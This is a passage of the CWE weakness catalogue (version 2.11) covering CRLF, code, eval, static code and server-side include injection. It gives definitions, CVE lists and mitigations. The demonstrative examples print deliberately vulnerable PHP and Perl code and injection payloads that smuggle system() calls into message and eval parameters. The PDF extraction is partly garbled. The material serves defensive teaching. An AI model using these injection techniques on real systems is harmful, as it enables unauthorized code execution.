- Execute unauthorized code or commands
- Read application data
- Modify application data

**Potential Mitigations**

Implementation

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>74</td>
<td>Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection)</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>713</td>
<td>OWASP Top Ten 2007 Category A2 - Injection Flaws</td>
<td>629</td>
</tr>
<tr>
<td></td>
<td></td>
<td>727</td>
<td>OWASP Top Ten 2004 Category A6 - Injection Flaws</td>
<td>711</td>
</tr>
<tr>
<td></td>
<td></td>
<td>810</td>
<td>OWASP Top Ten 2010 Category A1 - Injection</td>
<td>809</td>
</tr>
<tr>
<td></td>
<td></td>
<td>929</td>
<td>OWASP Top Ten 2013 Category A1 - Injection</td>
<td>928</td>
</tr>
<tr>
<td></td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>643</td>
<td>Improper Neutralization of Data within XPath Expressions (XPath Injection)</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>652</td>
<td>Improper Neutralization of Data within XQuery Expressions (XQuery Injection)</td>
<td>699</td>
</tr>
</tbody>
</table>

Research Gaps
Under-reported. This is likely found regularly by third party code auditors, but there are very few publicly reported examples.

Theoretical Notes
In vulnerability theory terms, this is a representation-specific case of a Data/Directive Boundary Error.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>XML injection (aka Blind Xpath injection)</td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A2</td>
<td>CWE More Specific</td>
<td>Injection Flaws</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A6</td>
<td>CWE More Specific</td>
<td>Injection Flaws</td>
</tr>
<tr>
<td>WASC</td>
<td>23</td>
<td>XML Injection</td>
<td></td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
<td></td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>83</td>
<td>XPath Injection</td>
<td></td>
</tr>
<tr>
<td>250</td>
<td>XML Injection</td>
<td></td>
</tr>
</tbody>
</table>

References


Maintenance Notes
The description for this entry is generally applicable to XML, but the name includes "blind XPath injection" which is more closely associated with CWE-643. Therefore this entry might need to be
CWE-92: DEPRECATED: Improper Sanitization of Custom Special Characters

**Weakness ID:** 92 (Deprecated Weakness Base)  
**Status:** Deprecated

**Description**

**Summary**

This entry has been deprecated. It originally came from PLOVER, which sometimes defined "other" and "miscellaneous" categories in order to satisfy exhaustiveness requirements for taxonomies. Within the context of CWE, the use of a more abstract entry is preferred in mapping situations. CWE-75 is a more appropriate mapping.

---

CWE-93: Improper Neutralization of CRLF Sequences ("CRLF Injection")

**Weakness ID:** 93 (Weakness Base)  
**Status:** Draft

**Description**

**Summary**

The software uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

- All

**Common Consequences**

- Integrity
- Modify application data

**Likelihood of Exploit**

Medium to High

**Demonstrative Examples**

If user input data that eventually makes it to a log message isn't checked for CRLF characters, it may be possible for an attacker to forge entries in a log file.

**Java Example:**

```java
logger.info("User's street address: " + request.getParameter("streetAddress"));
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1771</td>
<td>CRLF injection enables spam proxy (add mail headers) using email address or name.</td>
</tr>
<tr>
<td>CVE-2002-1783</td>
<td>CRLF injection in API function arguments modify headers for outgoing requests.</td>
</tr>
<tr>
<td>CVE-2004-1513</td>
<td>Spoofed entries in web server log file via carriage returns</td>
</tr>
<tr>
<td>CVE-2004-1687</td>
<td>Chain: HTTP response splitting via CRLF in parameter related to URL.</td>
</tr>
<tr>
<td>CVE-2006-4624</td>
<td>Chain: inject fake log entries with fake timestamps using CRLF injection</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

Avoid using CRLF as a special sequence.

**Implementation**

Appropriately filter or quote CRLF sequences in user-controlled input.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)
CWE-94: Improper Control of Generation of Code ('Code Injection')

**Weakness ID:** 94 *(Weakness Class)*  
**Status:** Draft

**Description**

**Summary**

The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

**Extended Description**

When software allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the software. Such an alteration could lead to arbitrary code execution.

Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.
Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• Interpreted languages (Sometimes)

Common Consequences
Access Control
Bypass protection mechanism
In some cases, injectable code controls authentication; this may lead to a remote vulnerability.

Access Control
Gain privileges / assume identity
Injected code can access resources that the attacker is directly prevented from accessing.

Integrity
Confidentiality
Availability
Execute unauthorized code or commands
Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.

Non-Repudiation
Hide activities
Often the actions performed by injected control code are unlogged.

Likelihood of Exploit
Medium

Demonstrative Examples
Example 1:
This example attempts to write user messages to a message file and allow users to view them.

PHP Example:

```php
$MessageFile = "cwe-94/messages.out";
if ($_GET["action"] == "NewMessage") {
    $name = $_GET["name"];  
    $message = $_GET["message"];  
    $handle = fopen($MessageFile, "a+");  
    fwrite($handle, "<b>$name</b> says '$message'<hr>
    fclose($handle);  
    echo "Message Saved!";
} else if ($_GET["action"] == "ViewMessages") {
    include($MessageFile);
}
```

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

```plaintext
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E
```

which will decode to the following:

```plaintext
<?php system("/bin/ls -l");?>
```

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages. Notice that XSS (CWE-79) is also possible in this situation.

Example 2:
edit-config.pl: This CGI script is used to modify settings in a configuration file.

Perl Example:

```perl
use CGI qw(:standard);
sub config_file_add_key {
  my ($fname, $key, $arg) = @_;  # code to add a field/key to a file goes here
}
sub config_file_set_key {
  my ($fname, $key, $arg) = @_;  # code to set key to a particular file goes here
}
sub config_file_delete_key {
  my ($fname, $key, $arg) = @_;  # code to delete key from a particular file goes here
}
sub handleConfigAction {
  my ($fname, $action) = @_;  # this is super-efficient code, especially if you have to invoke
  my $key = param('key');  # any one of dozens of different functions!
  my $val = param('val');
  my $code = "config_file_$action_key($fname, $key, $val)";
  eval($code);
}
$configfile = "\home/cwe/config.txt";
print header;
if (defined(param('action'))) {
  handleConfigAction($configfile, param('action'));
} else {
  print "No action specified!\n";
}
```

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as: add_key("", "); system("/bin/ls"); This would produce the following string in handleConfigAction(): config_file_add_key("", "); system("/bin/ls"); Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the ".key($fname, $key, $val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1471</td>
<td>chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement.</td>
</tr>
<tr>
<td>CVE-2002-0495</td>
<td>Perl code directly injected into CGI library file from parameters to another CGI program.</td>
</tr>
<tr>
<td>CVE-2002-1750</td>
<td>Eval injection in Perl program.</td>
</tr>
<tr>
<td>CVE-2002-1752</td>
<td>Direct code injection into Perl eval function.</td>
</tr>
<tr>
<td>CVE-2002-1753</td>
<td>Eval injection in Perl program.</td>
</tr>
<tr>
<td>CVE-2003-0395</td>
<td>PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script.</td>
</tr>
<tr>
<td>CVE-2005-1527</td>
<td>Direct code injection into Perl eval function.</td>
</tr>
<tr>
<td>CVE-2005-1876</td>
<td>Direct PHP code injection into supporting template file.</td>
</tr>
<tr>
<td>CVE-2005-1894</td>
<td>Direct code injection into PHP script that can be accessed by attacker.</td>
</tr>
<tr>
<td>CVE-2005-1921</td>
<td>MFV. code injection into PHP eval statement using nested constructs that should not be nested.</td>
</tr>
<tr>
<td>CVE-2005-2498</td>
<td>MFV. code injection into PHP eval statement using nested constructs that should not be nested.</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-94: Improper Control of Generation of Code (‘Code Injection’)

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-2837</td>
<td>Direct code injection into Perl eval function.</td>
</tr>
<tr>
<td>CVE-2008-5071</td>
<td>Eval injection in PHP program.</td>
</tr>
<tr>
<td>CVE-2008-5305</td>
<td>Eval injection in Perl program using an ID that should only contain hyphens and numbers.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design
Refactor your program so that you do not have to dynamically generate code.

Architecture and Design
Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your software.

Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Implementation

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

To reduce the likelihood of code injection, use stringent whitelists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().

Testing
Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing
Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Operation

Compilation or Build Hardening

Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl’s "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>74</td>
<td>Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')</td>
<td>113</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>691</td>
<td>Insufficient Control Flow Management</td>
<td>1075</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>752</td>
<td>2009 Top 25 - Risky Resource Management</td>
<td>1145</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>913</td>
<td>Improper Control of Dynamically-Managed Code Resources</td>
<td>1340</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>991</td>
<td>SFP Secondary Cluster: Tainted Input to Environment</td>
<td>1394</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>95</td>
<td>Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')</td>
<td>177</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>96</td>
<td>Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')</td>
<td>181</td>
</tr>
<tr>
<td>CanFollow</td>
<td>C</td>
<td>98</td>
<td>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</td>
<td>184</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>635</td>
<td>Weaknesses Used by NVD</td>
<td>985</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>1323</td>
</tr>
</tbody>
</table>

Research Gaps

Many of these weaknesses are under-studied and under-researched, and terminology is not sufficiently precise.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>CODE</td>
<td>Code Evaluation and Injection</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>35</td>
<td>Leverage Executable Code in Non-Executable Files</td>
</tr>
<tr>
<td>77</td>
<td>Manipulating User-Controlled Variables</td>
</tr>
</tbody>
</table>

References


CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

Weakness ID: 95 (Weakness Base) Status: Incomplete

Description

Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").

Extended Description

This may allow an attacker to execute arbitrary code, or at least modify what code can be executed.

Time of Introduction

- Architecture and Design
- Implementation
Applicable Platforms
Languages
- Java
- Javascript
- Python
- Perl
- PHP
- Ruby
- Interpreted Languages

Modes of Introduction
This weakness is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.

Common Consequences
Confidentiality
Read files or directories
Read application data
The injected code could access restricted data / files.

Access Control
Bypass protection mechanism
In some cases, injectable code controls authentication; this may lead to a remote vulnerability.

Access Control
Gain privileges / assume identity
Injected code can access resources that the attacker is directly prevented from accessing.

Integrity
Confidentiality
Availability
Other

Execute unauthorized code or commands
Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.

Non-Repudiation
Hide activities
Often the actions performed by injected control code are unlogged.

Likelihood of Exploit
Medium

Demonstrative Examples
edit-config.pl: This CGI script is used to modify settings in a configuration file.
Perl Example:

```perl
use CGI qw(:standard);
sub config_file_add_key {
    my ($fname, $key, $arg) = @_;
    # code to add a field/key to a file goes here
}
sub config_file_set_key {
    my ($fname, $key, $arg) = @_;
    # code to set key to a particular file goes here
}
sub config_file_delete_key {
    my ($fname, $key, $arg) = @_;  
    # code to delete key from a particular file goes here
}
sub handleConfigAction {
    my ($fname, $action) = @_;  
    my $key = param('key');
    my $val = param('val');
```
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

# this is super-efficient code, especially if you have to invoke any one of dozens of different functions!
my $code = "config_file_add_key($fname, $key, $val);";
eval($code);

$clientfile = "/home/cwe/config.txt";
print header;
if (defined(param('action'))) {
  handleConfigAction($clientfile, param('action'));
} else {
  print "No action specified\n";
}

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:

```
Add
add_key("", "); system("/bin/ls");
```

This would produce the following string in handleConfigAction():

```
Result
config_file_add_key("", "); system("/bin/ls");
```

Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "_key($fname, $key, $val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1471</td>
<td>chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement.</td>
</tr>
<tr>
<td>CVE-2002-1750</td>
<td>Eval injection in Perl program.</td>
</tr>
<tr>
<td>CVE-2002-1752</td>
<td>Direct code injection into Perl eval function.</td>
</tr>
<tr>
<td>CVE-2002-1753</td>
<td>Eval injection in Perl program.</td>
</tr>
<tr>
<td>CVE-2005-1527</td>
<td>Direct code injection into Perl eval function.</td>
</tr>
<tr>
<td>CVE-2005-1921</td>
<td>MFV. code injection into PHP eval statement using nested constructs that should not be nested.</td>
</tr>
<tr>
<td>CVE-2005-2498</td>
<td>MFV. code injection into PHP eval statement using nested constructs that should not be nested.</td>
</tr>
<tr>
<td>CVE-2005-2837</td>
<td>Direct code injection into Perl eval function.</td>
</tr>
<tr>
<td>CVE-2008-5071</td>
<td>Eval injection in PHP program.</td>
</tr>
<tr>
<td>CVE-2008-5305</td>
<td>Eval injection in Perl program using an ID that should only contain hyphens and numbers.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

**Architecture and Design**

If possible, refactor your code so that it does not need to use eval() at all.
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Implementation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.
Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
Other Notes
Factors: special character errors can play a role in increasing the variety of code that can be injected, although some vulnerabilities do not require special characters at all, e.g. when a single function without arguments can be referenced and a terminator character is not necessary.
Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>94</td>
<td>Improper Control of Generation of Code ('Code Injection')</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>173</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>714</td>
<td>OWASP Top Ten 2007 Category A3 - Malicious File Execution</td>
<td>629</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1115</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>727</td>
<td>OWASP Top Ten 2004 Category A6 - Injection Flaws</td>
<td>711</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1121</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1392</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1323</td>
</tr>
</tbody>
</table>

Research Gaps
This issue is probably under-reported. Most relevant CVEs have been for Perl and PHP, but eval injection applies to most interpreted languages. Javascript eval injection is likely to be heavily under-reported.
Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)
Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Direct Dynamic Code Evaluation ('Eval Injection')</td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A3</td>
<td>CWE More Specific</td>
<td>Malicious File Execution</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A6</td>
<td>CWE More Specific</td>
<td>Injection Flaws</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td></td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

Related Attack Patterns

**Weakness ID:** 96 (Weakness Base)  
**Status:** Draft

**Description**

**Summary**
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- PHP
- Perl
- All Interpreted Languages

**Common Consequences**

**Confidentiality**
- Read files or directories
- Read application data
  The injected code could access restricted data / files.

**Access Control**

**Bypass protection mechanism**
In some cases, injectable code controls authentication; this may lead to a remote vulnerability.

**Access Control**

**Gain privileges / assume identity**
Injected code can access resources that the attacker is directly prevented from accessing.

**Integrity**

**Confidentiality**

**Availability**

**Other**

**Execute unauthorized code or commands**
Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.

**Non-Repudiation**

**Hide activities**
Often the actions performed by injected control code are unlogged.

**Enabling Factors for Exploitation**
This issue is most frequently found in PHP applications that allow users to set configuration variables that are stored within executable php files. Technically, this could also be performed in some compiled code (e.g. by byte-patching an executable), although it is highly unlikely.

**Demonstrative Examples**
This example attempts to write user messages to a message file and allow users to view them.

PHP Example:

```php
$MessageFile = "cwe-94/messages.out";
if ($_GET["action"] == "NewMessage") {
    $name = $_GET["name"];
    $message = $_GET["message"];
    $handle = fopen($MessageFile, "a+"):
    fwrite($handle, "<b>$name</b> says '$message'<hr>
    close($handle);
    echo "Message Saved!<p>
} else if ($_GET["action"] == "ViewMessages") {
    include($MessageFile);
}
```

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

```
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E
```

which will decode to the following:

```
<?php system("/bin/ls -l");?>
```

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages. Notice that XSS (CWE-79) is also possible in this situation.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0495</td>
<td>Perl code directly injected into CGI library file from parameters to another CGI program.</td>
</tr>
<tr>
<td>CVE-2003-0395</td>
<td>PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script.</td>
</tr>
<tr>
<td>CVE-2005-1876</td>
<td>Direct PHP code injection into supporting template file.</td>
</tr>
<tr>
<td>CVE-2005-1894</td>
<td>Direct code injection into PHP script that can be accessed by attacker.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding

Perform proper output validation and escaping to neutralize all code syntax from data written to code files.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)
CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page

Weakness ID: 97 (Weakness Variant) Status: Draft

Description
Summary
The software generates a web page, but does not neutralize or incorrectly neutralizes user-controllable input that could be interpreted as a server-side include (SSI) directive.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Confidentiality
Integrity
Availability
Execute unauthorized code or commands

Potential Mitigations
Implementation
Utilize an appropriate mix of whitelist and blacklist parsing to filter server-side include syntax from all input.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>94</td>
<td>Improper Control of Generation of Code ('Code Injection')</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>632</td>
<td>Weaknesses that Affect Files or Directories</td>
<td>631</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>983</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1392</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>97</td>
<td>Improper Neutralization of Server-Side Includes (SSI) Within a Web Page</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1323</td>
</tr>
</tbody>
</table>

Relationship Notes
"HTML injection" (see CWE-79: XSS) could be thought of as an example of this, but the code is injected and executed on the client side, not the server side. Server-Side Includes (SSI) are an example of direct static code injection.

Affected Resources
• File/Directory

Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Direct Static Code Injection</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td></td>
<td>SFP24 Tainted input to command</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>35</td>
<td>Leverage Executable Code in Non-Executable Files</td>
</tr>
<tr>
<td>73</td>
<td>User-Controlled Filename</td>
</tr>
<tr>
<td>77</td>
<td>Manipulating User-Controlled Variables</td>
</tr>
<tr>
<td>81</td>
<td>Web Logs Tampering</td>
</tr>
<tr>
<td>85</td>
<td>AJAX Fingerprinting</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>990</td>
